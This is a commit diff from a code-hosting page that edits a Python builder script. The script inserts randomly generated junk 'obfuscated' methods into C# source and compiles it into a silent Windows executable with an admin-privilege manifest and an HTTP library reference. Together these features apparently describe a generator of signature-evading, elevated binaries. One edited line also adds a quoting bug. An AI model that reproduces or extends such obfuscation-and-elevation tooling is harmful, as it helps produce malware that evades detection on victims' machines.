sigyllly commited on
Commit
b918fc0
·
verified ·
1 Parent(s): 6c4aa72

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +4 -2
main.py CHANGED
@@ -70,6 +70,7 @@ class Program
70
  }
71
  }
72
  }
 
73
  }
74
  """
75
 
@@ -103,7 +104,7 @@ def generate_obfuscated_methods():
103
  f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}',
104
  f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}',
105
  f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}',
106
- f'string {random_string(6)}() {{ return "{random_string(12)}"; }}'
107
  ]
108
  return "\n ".join(random.sample(methods, k=2))
109
 
@@ -176,7 +177,8 @@ def finish():
176
  # Compile the C# script using mcs with the manifest for admin privileges
177
  compile_command = [
178
  'mcs', '-target:winexe', '-out:' + exe_name, script_path,
179
- '-win32icon:app.ico', '-win32manifest:app.manifest'
 
180
  ]
181
 
182
  # Run the compilation command
 
70
  }
71
  }
72
  }
73
+ <<obfuscated_methods>>
74
  }
75
  """
76
 
 
104
  f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}',
105
  f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}',
106
  f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}',
107
+ f'string {random_string(6)}() {{ return "{random_string(12)}}"; }}'
108
  ]
109
  return "\n ".join(random.sample(methods, k=2))
110
 
 
177
  # Compile the C# script using mcs with the manifest for admin privileges
178
  compile_command = [
179
  'mcs', '-target:winexe', '-out:' + exe_name, script_path,
180
+ '-win32icon:app.ico', '-win32manifest:app.manifest',
181
+ '/reference:System.Net.Http.dll'
182
  ]
183
 
184
  # Run the compilation command